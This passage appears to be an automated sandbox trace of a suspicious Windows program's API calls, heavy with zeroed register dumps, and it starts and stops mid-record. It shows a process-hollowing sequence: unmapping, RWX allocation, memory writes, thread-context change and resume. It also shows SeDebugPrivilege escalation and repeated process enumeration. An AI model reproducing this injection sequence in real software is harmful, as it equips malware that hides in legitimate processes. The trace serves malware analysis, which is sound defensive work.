[22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0209.751] ReadProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x3bb008, lpBuffer=0x19e990, nSize=0x4, lpNumberOfBytesRead=0x19e9d4 | out: lpBuffer=0x19e990*, lpNumberOfBytesRead=0x19e9d4*=0x4) returned 1 [0209.752] NtUnmapViewOfSection (ProcessHandle=0x3f0, BaseAddress=0x400000) returned 0x0 [0209.761] VirtualAllocEx (hProcess=0x3f0, lpAddress=0x400000, dwSize=0x50000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0209.764] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x400000, lpBuffer=0x3fe9d80*, nSize=0x400, lpNumberOfBytesWritten=0x19e9d4 | out: lpBuffer=0x3fe9d80*, lpNumberOfBytesWritten=0x19e9d4*=0x400) returned 1 [0209.790] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x401000, lpBuffer=0x402e3a0*, nSize=0x34200, lpNumberOfBytesWritten=0x19e9d4 | out: lpBuffer=0x402e3a0*, lpNumberOfBytesWritten=0x19e9d4*=0x34200) returned 1 [0209.914] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x436000, lpBuffer=0x2448838*, nSize=0xc400, lpNumberOfBytesWritten=0x19e9d4 | out: lpBuffer=0x2448838*, lpNumberOfBytesWritten=0x19e9d4*=0xc400) returned 1 [0210.114] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x443000, lpBuffer=0x2454c44*, nSize=0x1400, lpNumberOfBytesWritten=0x19e9d4 | out: lpBuffer=0x2454c44*, lpNumberOfBytesWritten=0x19e9d4*=0x1400) returned 1 [0210.303] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x44c000, lpBuffer=0x2456050*, nSize=0x200, lpNumberOfBytesWritten=0x19e9d4 | out: lpBuffer=0x2456050*, lpNumberOfBytesWritten=0x19e9d4*=0x200) returned 1 [0210.389] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x44d000, lpBuffer=0x245625c*, nSize=0x2600, lpNumberOfBytesWritten=0x19e9d4 | out: lpBuffer=0x245625c*, lpNumberOfBytesWritten=0x19e9d4*=0x2600) returned 1 [0210.585] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x3bb008, lpBuffer=0x2458b68*, nSize=0x4, lpNumberOfBytesWritten=0x19e9d4 | out: lpBuffer=0x2458b68*, lpNumberOfBytesWritten=0x19e9d4*=0x4) returned 1 [0210.642] SetThreadContext (hThread=0x528, lpContext=0x244798c*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x3bb000, Edx=0x0, Ecx=0x0, Eax=0x41ae7b, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0210.643] ResumeThread (hThread=0x528) returned 0x1 [0211.311] CoGetContextToken (in: pToken=0x19ee00 | out: pToken=0x19ee00) returned 0x0 [0211.312] CObjectContext::QueryInterface () returned 0x0 [0211.312] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.312] Release () returned 0x3 [0211.312] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x6b84e8*=0x14c, lpdwindex=0x19eca4 | out: lpdwindex=0x19eca4) returned 0x0 Thread: id = 2 os_tid = 0x13d8 Thread: id = 3 os_tid = 0xc08 Thread: id = 4 os_tid = 0xc0c [0095.673] CoGetContextToken (in: pToken=0x43dfc74 | out: pToken=0x43dfc74) returned 0x800401f0 [0095.674] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0095.674] RoInitialize () returned 0x1 [0095.674] RoUninitialize () returned 0x0 [0209.180] CloseHandle (hObject=0x514) returned 1 [0209.181] CloseHandle (hObject=0x4ac) returned 1 [0209.182] CloseHandle (hObject=0x3e4) returned 1 [0209.182] CloseHandle (hObject=0x3f0) returned 1 [0209.182] CloseHandle (hObject=0x528) returned 1 [0211.456] SetWindowLongW (hWnd=0x60288, nIndex=-4, dwNewLong=1944586208) returned 74712550 [0211.457] SetClassLongW (hWnd=0x60288, nIndex=-24, dwNewLong=1944586208) returned 0x47405be [0211.458] PostMessageW (hWnd=0x60288, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0211.459] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0211.459] UnregisterClassW (lpClassName="WindowsForms10.Window.8.app.0.141b42a_r10_ad1", hInstance=0x400000) returned 0 [0211.462] IsWindow (hWnd=0x80082) returned 1 [0211.464] GetModuleHandleW (lpModuleName="user32.dll") returned 0x743d0000 [0211.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x43dfa14, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWûkPã0U(ú\x0bo\x98ü=\x04\x01", lpUsedDefaultChar=0x0) returned 14 [0211.465] GetProcAddress (hModule=0x743d0000, lpProcName="DefWindowProcW") returned 0x73e807e0 [0211.465] SetWindowLongW (hWnd=0x80082, nIndex=-4, dwNewLong=1944586208) returned 74712630 [0211.465] SetClassLongW (hWnd=0x80082, nIndex=-24, dwNewLong=1944586208) returned 0x4740636 [0211.466] IsWindow (hWnd=0x80082) returned 1 [0211.466] DestroyWindow (hWnd=0x80082) returned 0 [0211.466] PostMessageW (hWnd=0x80082, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0211.467] SetConsoleCtrlHandler (HandlerRoutine=0x474060e, Add=0) returned 1 [0211.467] EtwEventUnregister (RegHandle=0x729138) returned 0x0 [0211.701] DeleteObject (ho=0x160a0536) returned 1 [0211.716] CloseHandle (hObject=0x298) returned 1 [0211.728] DeleteObject (ho=0x590a060c) returned 1 [0211.729] GdipDeleteFont (font=0x4a6efc0) returned 0x0 [0211.729] GdipDeleteFont (font=0x5b7b080) returned 0x0 [0211.731] GetCurrentObject (hdc=0x4001093b, type=0x6) returned 0x4c0a08c7 [0211.731] SelectObject (hdc=0x4001093b, h=0x18a0048) returned 0x4c0a08c7 [0211.731] DeleteObject (ho=0x4c0a08c7) returned 1 [0211.732] DeleteDC (hdc=0x4001093b) returned 1 [0211.733] RestoreDC (hdc=0x0, nSavedDC=-1) returned 0 [0211.734] GdipDeleteFont (font=0x4a61f08) returned 0x0 [0211.735] GdipDisposeImage (image=0x5b7f3b8) returned 0x0 [0211.754] CloseHandle (hObject=0x2f8) returned 1 [0211.755] RegCloseKey (hKey=0x80000004) returned 0x0 Thread: id = 5 os_tid = 0xc60 Thread: id = 6 os_tid = 0xc70 [0131.800] CoGetContextToken (in: pToken=0x79ffd0c | out: pToken=0x79ffd0c) returned 0x0 [0131.801] CObjectContext::QueryInterface () returned 0x0 [0131.801] CObjectContext::GetCurrentThreadType () returned 0x0 [0131.801] Release () returned 0x0 Thread: id = 7 os_tid = 0x1034 Thread: id = 8 os_tid = 0x1030 Thread: id = 9 os_tid = 0x854 [0161.294] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0161.294] RoInitialize () returned 0x1 [0161.294] RoUninitialize () returned 0x0 [0161.355] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xa59f12c | out: lpLuid=0xa59f12c*(LowPart=0x14, HighPart=0)) returned 1 [0161.360] GetCurrentProcess () returned 0xffffffff [0161.360] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xa59f128 | out: TokenHandle=0xa59f128*=0x330) returned 1 [0161.362] AdjustTokenPrivileges (in: TokenHandle=0x330, DisableAllPrivileges=0, NewState=0x2413058*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0161.363] CloseHandle (hObject=0x330) returned 1 [0161.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14680) returned 0x0 [0163.445] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14640) returned 0x0 [0165.471] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x146c0) returned 0x0 [0167.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14680) returned 0x0 [0169.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14680) returned 0x0 [0175.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x146c0) returned 0x0 [0178.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x146c0) returned 0x0 [0180.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x146c0) returned 0x0 [0182.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14600) returned 0x0 [0185.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14680) returned 0x0 [0188.257] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14700) returned 0x0 [0190.734] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14bb8) returned 0x0 [0192.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14bf8) returned 0x0 [0195.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14bf8) returned 0x0 [0199.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14e30) returned 0x0 [0201.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14df0) returned 0x0 [0204.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x14af8) returned 0x0 [0206.648] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, 